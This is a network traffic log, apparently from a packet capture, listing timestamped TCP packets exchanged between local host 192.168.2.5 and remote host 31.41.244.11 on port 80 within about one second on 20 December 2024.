Dec 20, 2024 13:12:34.611033916 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.612144947 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.612308025 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.612376928 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.613579035 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.613651037 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.613686085 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.613738060 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.614978075 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.614988089 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.615034103 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.616283894 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.616432905 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.616487026 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.617697001 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.617775917 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.617873907 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.617923021 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.619383097 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.619443893 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.619488001 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.619537115 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.620393038 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.620493889 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.620568037 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.621803999 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.621857882 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.621866941 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.621906996 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.623089075 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.623152018 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.623188019 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.623240948 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.624497890 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.624598980 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.624660969 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.625878096 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.625936031 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.626008987 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.626064062 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.627290010 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.627393007 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.627480984 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.627535105 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.628623009 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.628848076 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.628910065 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.629930973 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.629982948 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.630017996 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.630064011 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.631351948 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.631403923 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.631494999 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.631547928 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.632734060 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.632936954 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.632985115 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.634150982 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.634167910 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.634207964 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.634237051 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.635448933 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.635633945 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.635695934 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.636889935 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.636900902 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.636949062 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.638258934 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.638269901 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.638365030 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.638365030 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.639573097 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.639622927 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.639693022 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.639864922 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.640934944 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.641015053 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.641043901 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.641187906 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.642426968 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.642555952 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.642611980 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.643728971 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.643779039 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.643882990 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.643929958 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.645085096 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.645404100 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.645456076 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.646647930 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.646692991 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.646739006 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.646790028 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.648092985 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.648103952 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.648147106 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.649883032 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.649931908 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.650229931 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.650270939 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.651731014 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.651983976 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.765522003 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.765928030 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.765978098 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.766115904 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.766264915 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.766320944 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.767154932 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.767209053 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.767617941 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.767690897 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.767823935 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.767874956 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.768640041 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.768874884 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.768924952 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.769586086 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.769643068 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.769813061 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.769869089 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.770648003 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.770700932 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.770760059 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.770824909 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.771708012 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.771914959 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.771967888 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.772758007 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.773169041 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.773222923 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.774070978 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.774132013 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.774557114 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.774631977 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.775015116 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.775078058 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.775089979 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.775141001 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.775878906 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.775985003 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.776062965 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.776133060 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.776902914 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.776954889 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.776957035 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.777029991 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.777966022 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.778007984 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.778072119 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.778949976 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.779911995 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.779962063 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.780020952 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.780103922 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.780123949 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.780157089 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.780181885 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.781126022 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.781193972 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.781228065 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.781286955 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.782054901 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.782111883 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.782279015 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.782327890 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.783051014 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.783107042 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.783296108 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.783994913 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.784122944 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.784176111 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.785162926 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.785176039 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.785212040 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.785242081 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.785469055 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.785516977 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.786166906 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.786233902 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.786262035 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.786313057 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.787175894 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.787990093 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.788351059 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.788360119 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.788372040 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.788408995 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.788439035 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.789303064 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.789354086 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.789638042 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.789695024 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.790324926 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.790374994 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.790497065 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.790548086 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.791388988 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.791445017 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.791599035 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.791651011 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.792368889 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.792933941 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.793205976 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.793268919 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.793421984 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.793431997 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.793483019 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.794421911 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.794528008 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.794847012 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.794915915 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.795427084 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.795479059 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.795600891 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.795658112 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.796422005 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.796827078 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.796958923 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.797015905 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.797478914 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.797579050 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.797888041 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.797943115 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.798569918 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.798619032 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.799597979 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.799608946 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.799652100 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.799659014 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.799695015 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.800628901 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.800708055 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.800964117 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.801024914 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.801588058 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.801644087 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.802088022 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.802143097 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.802651882 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.802731991 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.802814007 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.802867889 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.803634882 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.803646088 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.803688049 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.804904938 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.804975033 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.805049896 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.805094004 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.805840015 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.805926085 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.805937052 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.806077957 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.806828976 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.806878090 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.806941032 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.806987047 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.807979107 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.808264971 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.808685064 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.808763027 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.808959007 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.808971882 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.809010029 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.809881926 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.809928894 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.810173035 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.810224056 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.811053038 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.811163902 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.811532021 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.811717987 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.812165976 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.812226057 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.812463045 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.812519073 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.812932968 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.812983990 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.813246965 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.813297987 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.813965082 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.814018965 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.814220905 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.814372063 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.815031052 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.815457106 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.815639019 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.815691948 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.816186905 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.816277981 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.816545010 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.816591978 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.817739010 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.817749977 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.817811966 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.819607019 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.819679022 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.819716930 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.819773912 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.820416927 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.820486069 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.820518970 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.820539951 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.957719088 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.957793951 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.958025932 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.958081961 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.958194017 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.958205938 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.958256960 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.959001064 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.959089041 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.959148884 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.960015059 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.960439920 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.960596085 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.960606098 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.960618019 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.960659027 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.960695982 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.961642981 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.961711884 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.962245941 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.962307930 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.962713957 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.962771893 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.963017941 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.963881016 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.963891983 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.963933945 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.964790106 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.964801073 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.964849949 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.965780973 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.965831995 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.965842962 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.965902090 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.966747046 CET	80	49893	31.41.244.11	192.168.2.5
